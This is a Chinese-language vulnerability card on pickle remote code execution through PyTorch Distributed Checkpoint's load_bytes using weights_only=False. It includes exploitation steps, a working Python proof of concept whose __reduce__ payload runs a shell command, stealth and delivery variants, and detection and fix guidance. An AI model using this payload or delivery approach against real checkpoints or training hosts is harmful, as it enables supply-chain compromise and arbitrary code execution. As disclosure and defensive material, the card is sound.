PyTorch 分布式检查点 BYTE_IO 经 DefaultLoadPlanner.load_bytes 以 weights_only=False 反序列化:加载恶意 .distcp 检查点触发 pickle RCE
ai-security/supply-chain · verified
一句话结论
PyTorch 分布式检查点(Distributed Checkpoint)的 DefaultLoadPlanner.load_bytes() 对 LoadItemType.BYTE_IO 类型的数据直接调用 torch.load(value, weights_only=False);FileSystemReader.read_data() 从检查点文件读取原始字节后不做任何校验就传入该 sink,攻击者只要让受害者加载一个内容为恶意 pickle 的 .distcp 检查点文件,即可在加载进程内执行任意 Python 代码。
原理
- PyTorch 分布式检查点把 state_dict 拆分成按 storage 描述的文件(如
.0.distcp),由StorageReader读取、LoadPlanner组装。FileSystemReader.read_data()遍历LoadPlan中的ReadItem,当req.type == LoadItemType.BYTE_IO时把文件切片读入io.BytesIO,随后调用planner.load_bytes(req, read_bytes);这条路径没有对字节内容做类型、格式或来源校验。 - Sink 在
torch/distributed/checkpoint/default_planner.py的DefaultLoadPlanner.load_bytes():无论flatten_state_dict开关如何,都执行torch.load(value, weights_only=False)(flatten_state_dict=True时经set_element写入映射后的 key)。 weights_only=False是关键:它让torch.load()走完整的 pickle 反序列化,而不是只允许张量/基础类型的安全加载器。pickle 在还原对象时会调用对象__reduce__()返回的 callable 及参数,因此return (os.system, (cmd,))就能把“加载权重”变成“执行系统命令”。- 攻击面在于检查点是典型的外部制品:模型仓库、训练任务输出、共享存储、CI 产物、断点续训目录都可能被投递或替换;而
.distcp文件内容本身就是攻击者可控的 pickle 字节流。 - 同一模块中对张量类型数据使用
torch.load(..., weights_only=True)加载(安全),BYTE_IO分支却使用weights_only=False,说明这是加载器实现中的不一致,而非调用方误用;调用方即使从可信代码发起加载,也无法阻止恶意检查点文件触发 sink。 - 该 RCE 不要求检查点结构完整:只要
load_bytes()被调用,torch.load在返回对象前就会执行__reduce__,即使后续组装 state_dict 失败,命令也已执行。
触发条件
- 目标 PyTorch 版本包含上述
DefaultLoadPlanner.load_bytes()实现,且torch.distributed.checkpoint可用。 - 受害者从攻击者可控的目录/存储加载分布式检查点(
FileSystemReader+distributed_checkpoint.load,或直接把检查点字节传入load_bytes)。 - 检查点内存在或可被诱导按
BYTE_IO读取的文件(如.distcp),内容为恶意 pickle。 - 加载进程具备命令执行权限(通常即训练/推理节点用户权限),且未在加载前对检查点做隔离解析或沙箱运行。
利用步骤
- 定义
class MaliciousPayload,实现__reduce__()返回(os.system, (cmd,)),用torch.save(MaliciousPayload(), io.BytesIO())得到 pickle 字节流。 - 把该字节流写入检查点目录中的
.0.distcp文件(模拟分布式检查点的存储文件)。 - 构造
ReadItem(type=LoadItemType.BYTE_IO, ...),用DefaultLoadPlanner.load_bytes(read_item, BytesIO(file_bytes))触发;或让受害者的FileSystemReader.read_data()在正常distributed_checkpoint.load流程中按BYTE_IO读取该文件。 - 命令在
torch.load反序列化阶段执行,随后才返回 state_dict;攻击者可用文档中的touch /tmp/torch_load_pwned或回连命令验证。 - 无公开受影响版本/CVE 信息;实际利用前需按目标 PyTorch 源码确认
load_bytes是否仍硬编码weights_only=False。
PoC
import io
import os
import tempfile
from pathlib import Path
import torch
from torch.distributed.checkpoint import DefaultLoadPlanner
from torch.distributed.checkpoint.metadata import MetadataIndex
from torch.distributed.checkpoint.planner import LoadItemType, ReadItem
class MaliciousPayload:
def __reduce__(self):
return (os.system, ('id > /tmp/torch_load_pwned',))
checkpoint_dir = tempfile.mkdtemp(prefix="pytorch_dist_")
distcp_file = Path(checkpoint_dir) / ".0.distcp"
buf = io.BytesIO()
torch.save(MaliciousPayload(), buf)
distcp_file.write_bytes(buf.getvalue())
planner = DefaultLoadPlanner(flatten_state_dict=False)
planner.state_dict = {}
read_item = ReadItem(
type=LoadItemType.BYTE_IO,
dest_index=MetadataIndex(fqn="key"),
dest_offsets=torch.Size([]),
storage_index=MetadataIndex(fqn="key"),
storage_offsets=torch.Size([]),
lengths=torch.Size([]),
)
with open(distcp_file, "rb") as f:
planner.load_bytes(read_item, io.BytesIO(f.read()))
if os.path.exists("/tmp/torch_load_pwned"):
print("[+] RCE")
(PoC 仅使用无害命令验证代码执行,未在本次环境中运行。)
变体与关联
- 变体:把恶意对象与合法权重字节混合,或让恶意
BYTE_IO项与正常张量项共存,使检查点看起来仍可加载,降低检测可疑度。 - 变体:通过模型仓库、训练任务输出目录、共享 NFS/对象存储的检查点前缀、CI 制品等投递恶意
.distcp;任何“从外部恢复训练/加载 checkpoint”的流程都是入口。 - 变体:如果
flatten_state_dict=True,sink 经set_element写入original_state_dict,仍需在mappings中存在对应 fqn,攻击者可用检查点元数据中的合法 key 满足该条件。 - 关联:[[ai-security-supply-chain-pytorch-export-load-use-pickle-rce]](
torch.export.load的_load_state_dict同样硬编码weights_only=False)、[[ai-security-supply-chain-vllm-torch-load-weights-only-pickle-rce]](vLLM 权重加载漏设weights_only=True)、[[ai-security-supply-chain-huggingface-pickle-model-reverse-shell]](传统恶意模型 pickle)。 - 边界:本卡描述的是代码级 sink 与最小触发,原文未给出 CVE/受影响版本,也未展示完整
distributed_checkpoint.load端到端调用链;若目标版本已将load_bytes改为weights_only=True,或加载前对检查点做了安全解析/沙箱隔离,则本手法不成立。
检测与防御
- 检测:审计 PyTorch 版本与
torch/distributed/checkpoint/default_planner.py中load_bytes()是否仍使用weights_only=False;对检查点目录/.distcp文件做 pickle 静态扫描(GLOBAL/STACK_GLOBAL/os.system/subprocess/socket等);监控加载进程拉起 shell、写入敏感路径或外连的异常行为。 - 修复:将
DefaultLoadPlanner.load_bytes()中的torch.load(value, weights_only=False)改为weights_only=True;或在反序列化前对BYTE_IO数据做类型白名单校验(仅允许 Tensor/基础容器);升级到已修复该 sink 的 PyTorch 版本。 - 加固:把不可信检查点当作可执行代码,加载前在无网络、低权限、只读文件系统的沙箱/容器内运行;检查点使用签名/哈希校验并固定来源;优先使用 safetensors 等纯张量格式;禁止从共享或用户可控路径直接恢复检查点。